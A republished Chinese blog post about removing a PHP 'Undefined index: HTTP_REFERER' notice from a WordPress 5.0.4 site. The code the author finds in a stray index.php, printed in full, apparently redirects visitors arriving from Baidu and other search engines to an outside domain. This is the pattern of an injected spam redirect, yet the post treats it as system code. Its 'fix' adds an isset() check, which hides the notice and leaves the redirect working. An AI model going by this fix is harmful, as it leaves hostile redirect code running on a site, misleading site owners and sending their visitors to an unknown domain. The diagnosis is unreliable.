wordpress5.0+中 Notice: Undefined index: HTTP_REFERER 问题解决

Posted catcher625

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了wordpress5.0+中 Notice: Undefined index: HTTP_REFERER 问题解决相关的知识,希望对你有一定的参考价值。

都说现在搭网站很简单了,但真遇到问题了还真不一定能解决。

这次搭建的网站是用的wordpress版本5.0.4,以为操作和以前的低版本一样,结果做出来还是遇到问题了。

网站搭好后,首页总在顶端出现一行

Notice: Undefined index: HTTP_REFERER in index.php line 14

点击了其他页面后Notice消失

网上有关于这种情况的解决办法 http://www.manongjc.com/article/1114.html

 

但是
1. 用方法1、3(即关闭报错)都没用,无法消除

2. themes中index.php中并没有发现HTTP_REFERER,亦无法用方法2

3. 这个notice直接影响了页面一处图片的垂直居中效果,只有点击了其他页面后才会垂直居中

 

综合来看

1. 只能放弃1、3的方法

2. 定位具体位置

 

在定位具体位置中:

1.猜测可能和wp_header(),wp_footer()的相关引入有关,依次删除无果

2.切换到wordpress自带twentyseventeen、twentysixteen主题依然有,可以判断跟自己写的无关,是系统的问题。

3.猜测可能跟phpstudy有关,准备重新装phpstudy,也猜测可能和wordpress版本有关,但是觉得不太可能

在网上各种翻的过程中,发现了这篇帖子https://bbs.csdn.net/topics/391817077?page=1

其中提到了config文件,于是翻看config并没有HTTP_REFERER,

但是在同样的文件夹中发现了另一个index.php

技术图片

因为报错是在index.php中,于是点开一看

技术图片

HTTP_REFERER赫然出现在第14行,于是按照方法2进行修改

if(isset($_SERVER[‘HTTP_REFERER‘])){
    $httpuser=strtolower($_SERVER[‘HTTP_REFERER‘]);
  if(strstr($httpuser,‘tiandao‘) or strstr($httpuser,‘baidu‘) or strstr($httpuser,‘HaosouSpider‘))
  {
      Header("Location: http://a8qqq.com/");//Ö¸¶¨Ìøת
      exit; 
    }
}

修改后,网站恢复正常!

以上是关于wordpress5.0+中 Notice: Undefined index: HTTP_REFERER 问题解决的主要内容,如果未能解决你的问题,请参考以下文章

WordPress 5.0禁用古滕堡编辑器的方法

块编辑器中允许内部块的部分块,WordPress 5.0.2

Wordpress 5.0.3 - “更新失败”和“发布失败”。控制台日志在 /blog/wp-json/wp/v2/posts/1177/autosaves?_locale=user 上显示 404

PHP如何关闭notice级别的错误提示

[转]PHP如何关闭notice级别的错误提示

Notice: Undefined offset 的解决方法